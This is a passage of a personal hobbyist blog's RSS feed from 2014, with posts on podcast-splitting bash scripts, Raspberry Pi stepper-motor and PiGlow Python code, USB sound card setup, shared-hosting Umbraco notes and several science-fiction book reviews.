Once <a href="http://umbraco.com/download">Umbraco</a> is installed make a backup of the web.config.

Note that this <a href="http://www.1and1.co.uk/?k_id=8343118">1and1</a> package was running on iis7.5 .net 4.5 but in the "classic pipeline" mode so no extension-less URLs. <a href="http://www.1and1.co.uk/?k_id=8343118">1and1</a> stated that a) they were surprised it was 7.5 and not 6 and b) there was no option to change the pipeline as it would affect all sites on that shared host :(
</description>
</item>
<item>
<title>End of an painful car audio era</title>
<pubDate>Thu, 20 Mar 2014 21:56:09 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2014.html#200320142156</link>
<description>
It is the end of an era...

For the last four+ years I have been trying to listen to podcasts during my daily commute. It started with MP3 CDs and these scripts to split and to burn them.
<code>#!/bin/bash
# check file audio file for being greater than 80 mins and halfing it
file=$1
#4440 seconds = 74mins
max=4440
mins=$((`soxi $file -D | sed -e "s/\..*//"`))
echo "file $file $mins"
if [ $mins -gt $max ]; then
	echo "SPLITTING"
	half=$((`soxi $file -s `/2))
	sox $file --show-progress -r 44100 -c 2 $(basename "$file" .wav)_part1.wav trim 0s $(($half))s
	sox $file --show-progress -r 44100 -c 2 $(basename "$file" .wav)_part2.wav trim $(($half))s
	rm $file
	ls $(basename "$file" .wav)*
fi</code>
<code>cdrecord dev=4,0,0 -blank=fast
cdrecord dev=4,0,0 -pad -audio tnew.wav</code>
(that includes blanking a RW CD)

Then, after changing cars I started to use a MP3 player I have had since 2001. It has a jaded history but it's one claim to fame is that it comes with 0MB storage, you have to plug a USB key in. Minor problem number one: it does not recognise drives over 512MB and most of mine are 1GB or bigger. Problem number two: it is very fussy not recognising many drives. Problem number three: it does not remember where you are in a track, if you turn it off, only the track number itself is remembered, very bad news if you stop 50mins into a 1 hour podcast, the fast forward is painfully slow. Minor problem number four: no AUX port in the car. Minor problem number five: you never know when you are listening to the last podcast, meaning you could have nothing to listen to for most of your journey. Bonus problem: sound fades in at the beginning of each track but only when there is sound. Bonus problem number two: Uses a single AA battery that when you remove all the memory is lost.

Solution number one: ended up with two donated 128MB drives. Solution number two: formatted in such a way as they would be recognised, did not work with other drives. Solution number three: bash script below that splits the tracks into 5min chunks. Solution number four: buy a radio transmitter and tune the car radio to the correct frequency. Solution number five: add spoken "n of total" sample to beginning of each track. Bonus solution: started with generating a beep and pre-pending it to each 5min chunk, but progressed on to the spoken sample. Bonus solution number two: have steady stream of USBCELL AA batteries charged and ready to swap daily, it did give you a 5 second window to replace batteries(but has now died).
<code>#!/bin/bash
#podcast loading
#split into 5 mins chunks
#Now with spoken intro detailing number of track and total tracks
./mp3splt  -t 5.0 *.mp3
if [ $(find . -iname "*__*" | wc -c) -eq 0 ]; then
	echo "found NO processed files"
	exit
fi
#delete originals
find . -iname "*.mp3" -size +7M -type f -exec rm {} \;
#pad into padding folder
for i in *.mp3; do sox "$i" "padded/$i" pad 2 0;echo -n .; done;echo ""
#delete unpadded
rm *.mp3
#wrap with starter intro speech
cd padded
# get total number of files
total=$(ls | wc -l)
for f in $( ls ) ;do 
	# get number of file
	index=$(ls | grep -nh $f | grep -o "^[0-9]*")
	echo $index of $total
	# create speech file
	espeak -w out.wav "playing $index of $total"
	# convert to mp3
	sox out.wav out.mp3
	#attach it to the front
	mp3wrap ../$f out.mp3 $f
done
cd ..
rm padded/*
echo "======================================================================="
echo "move the mp3 files to your device and remember to sync;umount ... ;sync"</code>
I freely admit that is not "good" code but it has worked for many years. I needed to run it every 4-5 days with new podcasts.

But now I have not only an AUX port but also a USB port and I can use any size key! Next job is to alter the file names to note "n of total" that will then scroll on the radio display.
</description>
</item>
<item>
<title>Stepper motor python twins and the Raspberry Pi</title>
<pubDate>Wed, 19 Mar 2014 21:09:00 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2014.html#190320142109</link>
<description>
Time for another <a href="http://www.jumpstation.co.uk/flog/Feb2014.html#110220142346">stepper motor</a>.

It was too good and opportunity to pass up, at just over &pound;3 I was willing to fail at getting both motors working on the Raspberry Pi.

After some careful cable splicing I was ready to try it out. The previous wiring had involved a costly purchase of a set of 8 female to male wires, costing more than the motor. This time I cut up and old floppy disk drive connector and using a small chock-block and some inventive twisting was able to use existing wires.

<img src="images/stepperx2boards.jpg" alt="Boards and wires connecting two stepper motors to a Raspberry Pi">

The biggest problem was going to be if the Pi could power both motors ...

First I identified which extra pins I could use from the <a href="http://www.jumpstation.co.uk/flog/Oct2013.html#101020132054">Pi Cobbler</a>. I found a large image detailing the GPIO pins <a href="http://www.digitaloffensive.com/wp-content/uploads/2013/05/Raspberry-Pi-GPIO-Layout-Revision-2-e1347664831557.png">1000×471</a>. The original setup had used 7,8,25,24 which was the first three miss one for ground and then the last one. So I continued down the line with 23(miss one for another ground), 18,15,14. Yes, the numbering convention IS confusing!

Test1: I copied the step.py code from <a href="http://www.jumpstation.co.uk/flog/Feb2014.html#110220142346">last time</a> and did nothing but change the GPIO pin definitions and ...

It did not work! I got
<code class="output">RuntimeWarning: This channel is already in use, continuing anyway.  Use GPIO.setwarnings(False) to disable warnings.
  GPIO.setup(pin,GPIO.OUT)</code>

The excellent <a href="http://raspberrypi.stackexchange.com/questions/9589/python-script-failing-with-attributeerror-led-instance-has-no-attribute-trun">raspberrypi stackexchange</a> led me to some 'clean up' code.
<code>GPIO.cleanup()</code>
Which strangely did not help until I had rebooted. But now the second motor did work as expected, for safety the first motor had had the power removed.

Test2: Reworked the python script to accept the number of steps and direction of each motor, mainly by duplicating blocks of code and Hey Presto! it works. Each motor can be run in an independent direction for an independent number of steps.
<code># Name: Steptwo.py
#
# Author: Rob Davis
# Based on the Stepper Motor code from matt.hawkins www.raspberrypi-spy.co.uk/2012/07/stepper-motor-control-in-python/
#
# Created: 2014/03/12
#
# Takes parameters for number of steps and which direction for each motor from the command line.
# e.g.
# sudo python step.py 4100 CCW 2050 CW
# To operate motor 1 for 4100 steps (a complete revolution) in a counter clockwise direction and at the same time turn motor 2 in a Clockwise direct for 2050 steps (180 degrees).
#-----------------------------------

#!/usr/bin/env python
 
# Import required libraries
import sys
import time
import RPi.GPIO as GPIO
 
# Use BCM GPIO references
# instead of physical pin numbers
GPIO.setmode(GPIO.BCM)
 
# Define GPIO signals to use
# GPIO24,GPIO25,GPIO8,GPIO7
StepPins1 = [24,25,8,7] # CW rotation
if (sys.argv[2]=="CCW") :
  StepPins1 = [7,8,25,24] # CCW rotation
StepPins2 = [14,15,18,23] # CW rotation
if (sys.argv[4]=="CCW") :
  StepPins2 = [23,18,15,14] # CCW rotation
 
# Set all pins as output
for pin in StepPins1:
#  print "Setup pins"
  GPIO.setup(pin,GPIO.OUT)
  GPIO.output(pin, False)
for pin in StepPins2:
#  print "Setup pins"
  GPIO.setup(pin,GPIO.OUT)
  GPIO.output(pin, False)
 
# Define some settings
StepCounter = 0
WaitTime = 0.01
 
# Define simple sequence
StepCount1 = 4
Seq1 = []
Seq1 = range(0, StepCount1)
Seq1[0] = [1,0,0,0]
Seq1[1] = [0,1,0,0]
Seq1[2] = [0,0,1,0]
Seq1[3] = [0,0,0,1]
 
# Define advanced sequence
# as shown in manufacturers datasheet
StepCount2 = 8
Seq2 = []
Seq2 = range(0, StepCount2)
Seq2[0] = [1,0,0,0]
Seq2[1] = [1,1,0,0]
Seq2[2] = [0,1,0,0]
Seq2[3] = [0,1,1,0]
Seq2[4] = [0,0,1,0]
Seq2[5] = [0,0,1,1]
Seq2[6] = [0,0,0,1]
Seq2[7] = [1,0,0,1]
 
# Choose a sequence to use
Seq = Seq1
StepCount = StepCount1
Seq = Seq2
StepCount = StepCount2

# Start main loop
steps1 = int(sys.argv[1])
steps2 = int(sys.argv[3])
stepc = 0
while (stepc&lt;=steps1) or (stepc&lt;=steps2):
  if (stepc&lt;=steps1):
    print "Step %i of %i" %(stepc,steps1)
  if (stepc&lt;=steps2):
    print "Step %i of %i" %(stepc,steps2)
 
  for pin in range(0, 4):
    if (stepc&lt;=steps1):
      xpin1 = StepPins1[pin]
      if Seq[StepCounter][pin]!=0:
       # print " Step %i Enable %i" %(StepCounter,xpin1)
        GPIO.output(xpin1, True)
      else:
        GPIO.output(xpin1, False)
    if (stepc&lt;=steps2):
      xpin2 = StepPins2[pin]
      if Seq[StepCounter][pin]!=0:
       # print " Step %i Enable %i" %(StepCounter,xpin2)
        GPIO.output(xpin2, True)
      else:
        GPIO.output(xpin2, False)
 
  StepCounter += 1
 
  # If we reach the end of the sequence
  # start again
  if (StepCounter==StepCount):
    StepCounter = 0
  if (StepCounter&lt;0):
    StepCounter = StepCount
 
  # Wait before moving on
  time.sleep(WaitTime)
  stepc+=1

GPIO.cleanup()</code>

Now what to do with them? and can I afford a third/forth? and could the Pi power that many?

side note: the fixing of the two motors together is done with a couple of motherboard risers, remember those?
<img src="images/stepperx2front.jpg" alt="Two stepper motors attached with motherboard risers">
</description>
</item>
<item>
<title>flog archives updated for 2010,2011,2012 and 2013</title>
<pubDate>Fri, 28 Feb 2014 22:12:26 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2014.html#280220142212</link>
<description>
Finally got around to updating the <a href="/flog/archive.html">archives</a> from <a href="/flog/year2010.html">2010</a> through <a href="/flog/year2011.html">2011</a>, <a href="/flog/year2012.html">2012</a> all the way to <a href="/flog/year2013.html">2013</a>

Actually quite amazing to see all the things I have done, and all the spelling and grammatical mistakes.
</description>
</item>
<item>
<title>Does Blade Runner dream of electric sheep</title>
<pubDate>Sun, 23 Feb 2014 22:24:38 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2014.html#230220142224</link>
<description>
In my quest to read all the things I think I should have already <a href="http://jumpstation.co.uk/flog/Jan2014.html#300120142118">read</a> I purchased &quot;Do Androids Dream of Electric Sheep?&quot;

It was ages ago that I last saw Blade Runner, but this book seems to take quite a different approach than the film. The first part of the book setting the scene and introducing the characters is good, the second part where the non-plot action is is good, but the last part is just weird. When I say &quot;weird&quot; what I mean is, deep. It gets quite religious and introspective. Not that that is a bad thing, it just does not follow the book so well.
The set pieces are all there and very vivid, a destitute Mars and time ravaged Earth, different classes of humans living varied lives.

I enjoyed the book and while reading it I lined up someone to lend it to, but with that last bit I am going to revisit if this sort of thing is really their thing.

Recommend if you are prepared for the humanity side of things, lots to think about.
</description>
</item>
<item>
<title>Messed up my html table</title>
<pubDate>Tue, 18 Feb 2014 23:04:16 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2014.html#180220142304</link>
<description>
opps messed up my table html there...
</description>
</item>
<item>
<title>Load testing the stepper motor with 90p</title>
<pubDate>Tue, 18 Feb 2014 22:57:06 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2014.html#180220142257</link>
<description>
I wanted to see what <a href="http://www.jumpstation.co.uk/flog/Feb2014.html#110220142346">this little stepper motor</a> was capable of, so I devised a &quot;load test&quot;.
<img src="images/Stepper_load_test_20140218.jpg" alt="Stepper motor with plastic arm with hanging basket containing 1 pence coins" />
The arm is fashioned out of a plastic box lid and the basket is just a bottom 3rd of a salad cream bottle.
My first though was to use <a href="http://www.amazon.co.uk/gp/product/B00DFKMBT0">these buckycube magnets</a>. Adding one at a time but I quickly added all of them and the motor happily rotated. Phase two was using one pence coins, plenty of those lying around.
<table>
<tr><th>#coins</th><th>weight</th><th>slips</th><th>notes</th></tr>
<tr><td>50</td><td>178g</td><td>NO</td><td></td></tr>
<tr><td>75</td><td>267g</td><td>YES</td><td>Slips only when running counter clockwise</td></tr>
<tr><td>90coins</td>320.4g<td>YES</td><td>Slips in both rotations</td></tr>
</table>
Which is really quite impressive for such a small motor.

FYI 1 pence weighs 3.56g <a href="http://www.royalmint.com/discover/uk-coins/coin-design-and-specifications/one-penny-coin">[source]</a>.

and I have no idea why the best performance was clockwise.
</description>
</item>
<item>
<title>raspberry pi is stepping up</title>
<pubDate>Tue, 11 Feb 2014 23:46:55 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2014.html#110220142346</link>
<description>
In amongst the <a href="http://www.jumpstation.co.uk/flog/Feb2014.html#080220141131">stuff</a> I got from Amazon was stepper motor and an LCD panel. I have not looked at the LCD panel yet so its time to dig into the stepper motor.

I went for the cheapest option at &pound;3.21 <a href="http://www.amazon.co.uk/gp/product/B0089JV2OM">28BYJ-48 28BYJ48 DC 5V 4-Phase 5-Wire Arduino Stepper Motor with ULN2003 Driver Board</a>

Stepper motors are quite simple once you have them working but with no idea what I was doing I was very happy to find a number of Pi enthusiast had been there before.

<a href="http://www.raspberrypi-spy.co.uk/2012/07/stepper-motor-control-in-python/">Main tutorial I followed</a>
<a href="http://raspberry-python.blogspot.co.uk/2013/01/pyhacking-step-by-step.html">more hardcore, glad I did not need</a>
<a href="http://winkleink.blogspot.co.uk/2013/04/raspberry-pi-unipolar-stepper-motors.html">yet another</a>
<a href="http://www.recantha.co.uk/blog/?p=2529">alternative driver board</a>
<a href="http://www.savagehomeautomation.com/projects/raspberry-pi-stepper-motor-control-breakout-board.html">cheap driver board kit for two motors</a>

Each tutorial author had decided on a different set of GPIO pins but <a href="http://www.raspberrypi-spy.co.uk/2012/07/stepper-motor-control-in-python/">this one</a> had them all nicely grouped at one end. See my build photo at the end of this post.

I spent some time with this <a href="http://www.raspberrypi-spy.co.uk/2012/07/stepper-motor-control-in-python/">tutorial</a> trying to get all the pins correct. But when I ran the python code the motor did not turn, strangely the LEDs turned on and off in sequence. The four LEDs light when the four electro magnets are enabled, <a href="http://en.wikipedia.org/wiki/Stepper_motor">wikipedia explains with a nice animation</a>.

Fearing the worst I turned to <a href="http://raspberrypi.stackexchange.com/questions/11662/how-to-wire-a-stepper-motor">stackoverflow</a> where someone else had experienced the same(?) problem. Their main culprit was the power supply.

Just about to bin the whole thing as &quot;cheap rubbish&quot; I picked up the motor while the code was running. To my surprise the metal cylinder had a heartbeat. A small vibration each time the LEDs changed, which was every half a second. Intrigued, I started to dig more into stepper motors and found I could almost imperceptibly feel the motor ever so slowly ticking round.

By changing the delay in the code I could make the motor turn faster. At a 0.001 delay the motor whizzed round in 8.5 seconds. But it would sometimes get stuck.

In the code was an alternate pattern for calling the outputs, labelled "manufacturers datasheet". Changing to this greatly improved the reliability and I had no more &quot;stalls&quot;

I set about trying to find out how many &quot;steps&quot; were required to complete a 360 degree revolution. I found I had to change my delay from 0.001 to 0.01 or it would seem to skip steps and create non-reproducible actions. The first value 100 moved the arm hardly at all, the second 1000 seemed to be an exact quarter, but 4000 was not quite a full circuit.

Trial and error lead me to 4100 and I found I could run my code repeating 4100 steps clockwise and then 4100 steps counter clockwise over and over again (main test was eight times) and the arm would always end up in the exact same place. It turns out that the 4100 figure is because the motor has 64 ratio gearing and if you want to get technical the correct value is 4100.22.

<code>#-----------------------------------
# Name: Step.py
#
# Author: Rob Davis
# Based on the Stepper Motor code from matt.hawkins www.raspberrypi-spy.co.uk/2012/07/stepper-motor-control-in-python/
#
# Created: 2014/02/09
#
# Takes parameters for number of steps and which direction from the command line.
# e.g. 
# sudo python step.py 4100 CCW
# To operate the motor for 4100 steps (a complete revolution) in a counter clockwise direction.
#-----------------------------------
#!/usr/bin/env python
 
import sys
import time
import RPi.GPIO as GPIO
 
GPIO.setmode(GPIO.BCM)
 
# Define GPIO signals to use
# Pins 18,22,24,26
# GPIO24,GPIO25,GPIO8,GPIO7
StepPins = [24,25,8,7] # CW rotation
if (sys.argv[2]=="CCW") :
  StepPins = [7,8,25,24] # CCW rotation
 
# Set all pins as output
for pin in StepPins:
  GPIO.setup(pin,GPIO.OUT)
  GPIO.output(pin, False)
 
# Define some settings
StepCounter = 0
WaitTime = 0.01
 
# Define simple sequence (do not use)
StepCount1 = 4
Seq1 = []
Seq1 = range(0, StepCount1)
Seq1[0] = [1,0,0,0]
Seq1[1] = [0,1,0,0]
Seq1[2] = [0,0,1,0]
Seq1[3] = [0,0,0,1]
 
# Define advanced sequence as shown in manufacturers datasheet
StepCount2 = 8
Seq2 = []
Seq2 = range(0, StepCount2)
Seq2[0] = [1,0,0,0]
Seq2[1] = [1,1,0,0]
Seq2[2] = [0,1,0,0]
Seq2[3] = [0,1,1,0]
Seq2[4] = [0,0,1,0]
Seq2[5] = [0,0,1,1]
Seq2[6] = [0,0,0,1]
Seq2[7] = [1,0,0,1]
 
Seq = Seq2
StepCount = StepCount2

# Start main loop
steps = int(sys.argv[1])
stepc = 0
while stepc<=steps:
  print "Step %i of %i" %(stepc,steps)
 
  for pin in range(0, 4):
    xpin = StepPins[pin]
    if Seq[StepCounter][pin]!=0:
      GPIO.output(xpin, True)
    else:
      GPIO.output(xpin, False)
 
  StepCounter += 1
 
  # If we reach the end of the sequence start again
  if (StepCounter==StepCount):
    StepCounter = 0
  if (StepCounter<0):
    StepCounter = StepCount
 
  # Delay to allow electro magnets to align the gear wheel
  time.sleep(WaitTime)
  stepc+=1
</code>

You can see the Pi wired up with my <a href="http://www.jumpstation.co.uk/flog/Oct2013.html#101020132054">cobbler</a>, a bread board and the stepper motor driver.
The arm was a piece of plastic toy I found in the bin. It has bit of cardboard wedged in the hole to keep it tight.
<img src="images/stepperonpi.jpg" alt="28BYJ-48 28BYJ48 DC 5V 4-Phase 5-Wire Stepper Motor with ULN2003 Driver Board wired up to a Raspberry Pi via a cobbler breakout board" />
Here is a close up of the wiring.
<img src="images/stepperonpiwiring.jpg" alt="28BYJ-48 28BYJ48 DC 5V 4-Phase 5-Wire Stepper Motor with ULN2003 Driver Board wired up to a Raspberry Pi via a cobbler breakout board close up of wiring" />


</description>
</item>
<item>
<title>Making the Pi listen to the Daffodil</title>
<pubDate>Sat, 08 Feb 2014 11:31:54 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2014.html#080220141131</link>
<description>
This <a href="http://www.amazon.co.uk/gp/product/B002FI7GWK/">USB soundcard</a> was only &pound;4.25 but I have wanted to try voice stuff with the Raspberry Pi for a bit and as I had a Amazon gift card, it was purchased with a load of other &quot;stuff&quot;.
<img src="images/usbsoundcard.jpg" alt="Photographs of a USB sound card from three angles." />
Got it working very quickly.
Plug it in
Detected
<code>dmesg</code>
<code class="output">[2504032.732583] usb 1-1.2: new full-speed USB device number 4 using dwc_otg
[2504032.837909] usb 1-1.2: New USB device found, idVendor=0d8c, idProduct=000c
[2504032.837941] usb 1-1.2: New USB device strings: Mfr=0, Product=1, SerialNumber=0
[2504032.837961] usb 1-1.2: Product: C-Media USB Headphone Set  
[2504032.852884] input: C-Media USB Headphone Set   as /devices/platform/bcm2708_usb/usb1/1-1/1-1.2/1-1.2:1.3/input/input0
[2504032.853327] hid-generic 0003:0D8C:000C.0001: input,hidraw0: USB HID v1.00 Device [C-Media USB Headphone Set  ] on usb-bcm2708_usb-1.2/input3
[2504033.096745] usbcore: registered new interface driver snd-usb-audio</code>

<code>lsusb</code>
<code class="output">Bus 001 Device 002: ID 0424:9512 Standard Microsystems Corp. 
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 001 Device 003: ID 0424:ec00 Standard Microsystems Corp. 
Bus 001 Device 004: ID 0d8c:000c C-Media Electronics, Inc. Audio Adapter</code>

Set levels
<code>alsamixer -c 1</code>
That's for Card 1, as apposed to Card 0(default). Controls in alsamixer are arrow keys, 'M' and 'ESC'.

Find device
<code>aplay -L</code>
<code class="output">null
    Discard all samples (playback) or generate zero samples (capture)
default:CARD=ALSA
    bcm2835 ALSA, bcm2835 ALSA
    Default Audio Device
sysdefault:CARD=ALSA
    bcm2835 ALSA, bcm2835 ALSA
    Default Audio Device
default:CARD=Set
    C-Media USB Headphone Set, USB Audio
    Default Audio Device
sysdefault:CARD=Set
    C-Media USB Headphone Set, USB Audio
    Default Audio Device
front:CARD=Set,DEV=0
    C-Media USB Headphone Set, USB Audio
    Front speakers
surround40:CARD=Set,DEV=0
    C-Media USB Headphone Set, USB Audio
    4.0 Surround output to Front and Rear speakers
surround41:CARD=Set,DEV=0
    C-Media USB Headphone Set, USB Audio
    4.1 Surround output to Front, Rear and Subwoofer speakers
surround50:CARD=Set,DEV=0
    C-Media USB Headphone Set, USB Audio
    5.0 Surround output to Front, Center and Rear speakers
surround51:CARD=Set,DEV=0
    C-Media USB Headphone Set, USB Audio
    5.1 Surround output to Front, Center, Rear and Subwoofer speakers
surround71:CARD=Set,DEV=0
    C-Media USB Headphone Set, USB Audio
    7.1 Surround output to Front, Center, Side, Rear and Woofer speakers
iec958:CARD=Set,DEV=0
    C-Media USB Headphone Set, USB Audio
    IEC958 (S/PDIF) Digital Audio Output</code>

Record
<code>arecord -D "default:CARD=Set" file</code>
<code class="output">Recording WAVE 'file' : Unsigned 8 bit, Rate 8000 Hz, Mono</code>

But note the 
Unsigned 8 bit, Rate 8000 Hz, Mono
This produces VERY noisy, crackly results.
Setting the format to the be CD quality
<code>arecord -f cd -D "default:CARD=Set" file</code>
Produces a much smoother/cleaner result.

Playback
<code>aplay -D "default:CARD=Set" file</code>

There are lots of examples of what to edit to make the USB card the default. I much prefer having the commands to use it when I want.
</description>
</item>
<item>
<title>Flatlands many dimensions and Enders battle with battle school</title>
<pubDate>Thu, 30 Jan 2014 21:18:08 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2014.html#300120142118</link>
<description>
Over the years I have heard two names come up under &quot;books you must read&quot; and in most cases the reference has indicated that at this age you should have already read them.
Book one is over 120 years old! Well not my copy but the original printing. 

&quot;Flatland - A Romance of Many Dimensions&quot; 
This just about the most unexpected thing you can imagine coming from 1884. It is in the broadest sense Science Fiction, but do not let that put you off. It is an amazingly detailed journey into a two dimensional world and eventually a one,zero and three dimensional worlds.
It is difficult to explain but basically a entity in the two dimensional world explains in painful detail how his world works, from the physical to political, through social and bit of religion. All from his point of view. Then he travels in to the third dimension but cannot express the experience to anyone else. Followed by a trip to one dimensional world finding himself unable to communicate with the beings there and then a zero dimension where there is nothing but a single entity that believes itself to be all there is in the universe.
What is so remarkable about this book is simply the fact it works perfectly well in the twenty first century as it did when it was published. I really had a lot of fun reading this and it has made me think about the possibility of a forth or more dimensions.
It's only 83 pages long so go and get it and read it now!

Book two is also not particularly new, originally published in 1985 it has recently been made into a <a href="http://en.wikipedia.org/wiki/Ender%27s_Game_%28film%29">film</a>, that I am reliably informed is terrible.

&quot;Ender's Game&quot; by Orson Scott Card.
I was concerned this was a kids si-fi book, but I should not have been concerned. This gritty drama is played from almost exclusively one character, Ender. Who at the beginning of the book is just 6 years old but very quickly has to grow up. The other main characters in the book are his siblings who concoct a political plot but this is very much in the background. All the focus is on Ender and his ability to face and pass just about any test that the &quot;teachers&quot; throw at him in battle school. You see, Ender is the last hope for mankind and they will stop at nothing to ensure his final success.
This is compelling stuff, but I now unsure if I should obtain other books from the series, the story is pretty wrapped up. Still, I can see why people rate it so highly, go get it!

FYI the next fiction book I have in the wings is &quot;Do Androids Dream of Electric Sheep&quot;, but that may have to wait as I have a number of non-fiction titles in the queue.
</description>
</item>
<item>
<title>HTML5 colour sphere gradient picker</title>
<pubDate>Tue, 28 Jan 2014 22:37:06 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2014.html#280120142237</link>
<description>
This HTML5 colour sphere picker/grouper thingy is cool!
http://mudcu.be/sphere/

It has multiple grouping options, from grouped(together) to deliberately clashing colours and many other in between. You can view the sphere as a vision impaired person would see it, eight variations. You can set it to only show All, WebSmart or WebSafe colours. 

You can export gradients to Illustrator, Photoshop and you can set a Dark or Light theme while using it, which seems frivolous but makes a huge difference, try it.

Oh and did I mention its is open source ?
https://github.com/mudcube/Color.Picker.js/tree/master/Mini-Sphere

</description>
</item>
<item>
<title>PiGlow makes me pi eyed</title>
<pubDate>Tue, 28 Jan 2014 22:20:19 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2014.html#280120142220</link>
<description>
I got various geeky bits for Christmas, including a Dilbert calendar and couple of electronic hacking books, but what I really wanted to play with was the PiGlow.
http://www.amazon.co.uk/PiGlow-visual-feedback-your-Raspberry/dp/B00EOP1N1M

Cheap(£10&lt;), Cheerful(pre-build) and Dangerous(eyeball burningly bright).

The board is quite small and sits very neatly on the Raspberry Pi with no overlap. Apparently it will fit within most cases due to its low profile.

But what is it?
Put bluntly is is a collection of eighteen individually addressable super bright LEDs arranged in a spiral sitting on a pre-built small, low profile board that attached to the Raspberry Pi. The LEDs colour cannot be changed but the layout gives you a surprising number of options.

<img src="images/PiGlowOnPi.jpg" alt="Overhead photo of the PiGlow attached to a Raspberry Pi" />

The setup was dead easy and very similar to the <a href="http://www.jumpstation.co.uk/flog/Nov2013.html#101120131119">Pi Matrix</a>

Edit the /etc/modules file and making sure the lines<code>i2c-dev
i2c-bcm2708</code> are in there(or adding them).
Editing the /etc/modprobe.d/raspi-blacklist.conf file and making sure <code>blacklist spi-bcm2708
blacklist i2c-bcm2708</code> are commented out i.e. <code>#blacklist spi-bcm2708
#blacklist i2c-bcm2708</code>
Installing Python support and i2c<code>sudo apt-get install python-smbus</code>
Reboot...

and at this point I wanted to try the <a href="http://www.jumpstation.co.uk/flog/Nov2013.html#101120131119">Pi Matrix</a> i2c tricks but neither <code>sudo i2cdetect -y 1
sudo i2cdetect -y 0</code> returned any results :(

The demo code is a single Python script<code>wget https://github.com/pimoroni/piglow/blob/master/examples/piglow-example.py</code>

!WARNING! before running the demo cover the PiGlow with at least two sheets of paper, this puppy is *BRIGHT*

<code>python piglow-example.py</code>
Seriously, I just ran it and I now had spots before my eyes, VERY BRIGHT!
The Demo has all the LEDs on but at different levels of intensity, with a progression of each LED changing intensity in turn. Difficult to explain but nice and pretty. 

First job, turn down the intensity. The code is quite short and I quickly identified this array as the intensity levels.
<code>values = [0x01,0x02,0x04,0x08,0x10,0x18,0x20,0x30,0x40,0x50,0x60,0x70,0x80,0x90,0xA0,0xC0,0xE0,0xFF]</code>
So changing that to some smaller values such as<code>
values = [0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,0x0a,0x0b,0x0c,0x0d,0x0e,0x0F,0x10,0x11,0x12]</code>
made the animation a bit more bearable, still quite bright but not so eye melting.

The march of the animation does not seem to follow a logical pattern so I quickly copied the example Python script and made it only turn on the LED I passed to the script from the command line. One by one I mapped the number to the following diagram.

<img src="images/PiGlowLabled.jpg" alt="Overhead photo of the PiGlow over laid with numeric labels indicating their addresses" />

Once I had those it was easy(ish) to make the PiGlow arms animate in sequence, getting faster and faster.

<code>
# PiGlow code that creates an animation of the arms steadily increasing in speed
#
# Based on the demo code from: https://github.com/pimoroni/piglow
#
# LEDs are cleared once animation is complete

import time
import sys
from smbus import SMBus

# command register addresses for the SN3218 IC used in PiGlow
CMD_ENABLE_OUTPUT = 0x00
CMD_ENABLE_LEDS = 0x13
CMD_SET_PWM_VALUES = 0x01
CMD_UPDATE = 0x16

class PiGlow:
	i2c_addr = 0x54 # fixed i2c address of SN3218 ic
	bus = None

	def __init__(self, i2c_bus=1):
		self.bus = SMBus(i2c_bus)

        # first we tell the SN3218 to enable output (turn on)
		self.write_i2c(CMD_ENABLE_OUTPUT, 0x01)

        # then we ask it to enable each bank of LEDs (0-5, 6-11, and 12-17)
		self.write_i2c(CMD_ENABLE_LEDS, [0xFF, 0xFF, 0xFF])

	def update_leds(self, values):
		print "update pwm"
		self.write_i2c(CMD_SET_PWM_VALUES, values)
		self.write_i2c(CMD_UPDATE, 0xFF)

	# a helper that writes the given value or list of values to the SN3218 IC
	# over the i2c protocol
	def write_i2c(self, reg_addr, value):
        # if a single value is provided then wrap it in a list so we can treat
        # all writes in teh(*sic) same way
		if not isinstance(value, list):
			value = [value];

        # write the data to the SN3218
		self.bus.write_i2c_block_data(self.i2c_addr, reg_addr, value)

# create an instance of our PiGlow class and tell it that "1" is the I2C bus
# index (should be 0 for old old old Pis)
piglow = PiGlow(1)

# set a block of LEDs and clear them after a delay
def setLeds(ids,delay) :
	values=[]
	for i in range(0,18) :
		values.append(0x00)
	
	for id in ids :
		values[id]=0x01 # set this to 0xFF for eye burning brightness

	piglow.update_leds(values)
	sleep = float(delay)/10
	time.sleep(sleep)

	values = [0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00]
	piglow.update_leds(values)

for delay in range (8,0,-1) :
	ids=[0,1,2,3,14,12]
	setLeds(ids,delay)
	ids=[17,16,15,13,11,10]
	setLeds(ids,delay)
	ids=[4,5,6,7,8,9]
	setLeds(ids,delay)

# add 10 extra spins at high speed for fun
for counter in range (0,10) :
	ids=[0,1,2,3,14,12]
	setLeds(ids,0.5)
	ids=[17,16,15,13,11,10]
	setLeds(ids,0.5)
	ids=[4,5,6,7,8,9]
	setLeds(ids,0.5)

</code>
For the money the PiGlow is well recommended!
</description>
</item>
<item>
<title>Tasty KitKat fixes Moto G sideloading woes</title>
<pubDate>Fri, 17 Jan 2014 21:18:06 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2014.html#170120142118</link>
<description>
News update ...

That thing that I was going to discuss that was a wrinkle for the Moto G has been fixed!

It was that I could not side-load any apps on the phone. Understand any of that?
Apps for the Android phone are delivered in .APK files (that are just renamed zip files). If you install from the Google Play store then the store app has permission to install the .APK file and everything just works. But, if you want to use another app store like
http://www.amazon.co.uk/appstore‎
or
https://f-droid.org/

Then their store apps have to be able to install the .APK files but due to a bug that was not possible on the Moto G.
Perhaps more annoying was you could not separately download one of these .APK files and install it yourself, this includes developers producing .APK files.

But there was a little light at the end of the tunnel. If you had the phone physically attached to a computer running the Android development tools then you could install from there. 

The way I had to install .APK files was to download them to the phone, then upload them to Google drive and then try and open them from Google drive, as that app had permissions to install.

(FYI. I had enabled "install from other sources" which is what normally stops you installing .APK files by accident on Android phones.

The update to KitKat has fixed it.

and a quick KitKat tit-bit;

